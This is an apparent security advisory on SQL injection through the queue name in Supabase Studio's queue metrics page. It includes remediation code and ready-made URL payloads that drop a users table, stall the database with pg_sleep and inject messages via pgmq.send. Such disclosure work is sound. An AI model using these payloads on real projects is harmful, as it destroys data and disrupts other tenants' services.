Summary
SQL Injection via queueName in getDatabaseQueuesMetrics
getDatabaseQueuesMetrics builds SQL statements with queueName interpolated directly into table identifiers and literals. The queueName value originates from the route parameter (/integrations/queues/queues/:queueName) which is attacker-controllable. No validation or quoting is applied before the SQL is sent to executeSql, allowing crafted queue names to break out of the identifier context and execute arbitrary SQL statements against the project database.
CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
Source → Sink
supabase/apps/studio/components/interfaces/Integrations/Queues/QueueTab.tsx
Line 35 · QueueTab
supabase/apps/studio/data/database-queues/database-queues-metrics-query.ts
Line 47 · getDatabaseQueuesMetrics
Attack surface
Supabase Studio queue detail pages (/project/<ref>/integrations/queues/queues/:queueName) loaded by authenticated project members—the route binds the attacker-controlled queueName directly into privileged executeSql calls.
Preconditions
The attacker needs a regular user account to craft URLs or entice an administrator to click the link. The target user must have access to the queue metrics page (standard for project members).
Impact
Arbitrary SQL execution, including data exfiltration, table deletion, privilege escalation, or extension installation.
Exploit path
How the issue forms.
getDatabaseQueuesMetrics invokes executeSql with a SQL string built from the queue name.
const { result } = await executeSql({Queue name flows into preciseMetricsSqlQuery without validation.
sql: preciseMetricsSqlQuery(queueName),The template literal concatenates queueName directly into the identifier, enabling injection.
"pgmq"."q_${queueName}";queueName originates from the URL parameter, which can be controlled by attackers.
const { childId: queueName, ref } = useParams()Proof of concept
Reproduction.
Environment
Requirements: Ubuntu 22.04 LTS (or any OS with Node.js 18+, npm, and git installed).
Install dependencies:
git clone https://github.com/supabase/supabase.git
cd supabase/apps/studio
npm install
npm run dev
Configuration
The Studio app runs on http://localhost:3000. Ensure your Supabase backend is configured (or mock the API). For PoC, a development project with queues enabled is sufficient.
Delivery
Authenticate as any tenant user with access to the project dashboard.
Manually craft the queue URL without creating such a queue:
http://localhost:3000/project/<projectRef>/integrations/queues/queues/foo";%20DROP%20TABLE%20public.users;%20--
To reproduce the production-reported slowdown, first create a disposable queue named foo via Add queue, then browse directly to the crafted queue detail route. Supply this queueName payload to UNION in a pg_sleep(50) call:
foo%22%20UNION%20SELECT%201::bigint%20AS%20msg_id,%20now()%20AS%20enqueued_at,%200::int%20AS%20read_ct,%20now()%20AS%20vt,%20'%7B%7D'::jsonb%20AS%20message,%20NULL::timestamptz%20AS%20archived_at%20FROM%20pg_sleep(50)--
Hosted dashboard URL template:
https://supabase.com/dashboard/project/<PROJECT>/integrations/queues/queues/foo%22%20UNION%20SELECT%201::bigint%20AS%20msg_id,%20now()%20AS%20enqueued_at,%200::int%20AS%20read_ct,%20now()%20AS%20vt,%20'%7B%7D'::jsonb%20AS%20message,%20NULL::timestamptz%20AS%20archived_at%20FROM%20pg_sleep(50)--
For write-oriented exploitation, UNION in a direct call to pgmq.send to enqueue attacker data without interacting with the UI:
-- Injection payload (queueName = foo" ...)
UNION SELECT pgmq.send('foo','{"attacker":true}',0)::bigint AS msg_id,
now() AS enqueued_at,
0::int AS read_ct,
now() AS vt,
'{"attacker":true}'::jsonb AS message,
NULL::timestamptz AS archived_at--
Raw queueName value:
foo" UNION SELECT pgmq.send('foo','{"attacker":true}',0)::bigint AS msg_id, now() AS enqueued_at, 0::int AS read_ct, now() AS vt, '{"attacker":true}'::jsonb AS message, NULL::timestamptz AS archived_at--
Encoded payload and dashboard URL:
foo%22%20UNION%20SELECT%20pgmq.send('foo','%7B%22attacker%22:true%7D',0)::bigint%20AS%20msg_id,%20now()%20AS%20enqueued_at,%200::int%20AS%20read_ct,%20now()%20AS%20vt,%20'%7B%22attacker%22:true%7D'::jsonb%20AS%20message,%20NULL::timestamptz%20AS%20archived_at--
https://supabase.com/dashboard/project/<PROJECT>/integrations/queues/queues/foo%22%20UNION%20SELECT%20pgmq.send('foo','%7B%22attacker%22:true%7D',0)::bigint%20AS%20msg_id,%20now()%20AS%20enqueued_at,%200::int%20AS%20read_ct,%20now()%20AS%20vt,%20'%7B%22attacker%22:true%7D'::jsonb%20AS%20message,%20NULL::timestamptz%20AS%20archived_at--
Outcome
Observed effects range from destructive DDL (dropping public.users), to prolonged availability impact via pg_sleep, to silent data integrity violations by writing arbitrary messages into tenant queues.
Remediation
Guidance.
Sanitize SQL identifiers: Introduce reusable helpers (formatQueueTableIdentifier, formatQueueLiteral) to safely quote queue names/body data. Refactor queries: Replace string interpolation with helper functions to prevent injection across all PGMQ operations.
Before
"pgmq"."q_${queueName}";
relname = 'q_${queueName}'
sql: `select * from pgmq.send( '${queueName}', '${payload}', ${delay})`After
const queueIdentifier = formatQueueTableIdentifier(queueName)
const relnameLiteral = formatQueueLiteral(queueName, { prefix: 'q_' })
sql: `select * from pgmq.send(${formatQueueLiteral(queueName)}, ${formatQueuePayloadLiteral(payload)}, ${delay})`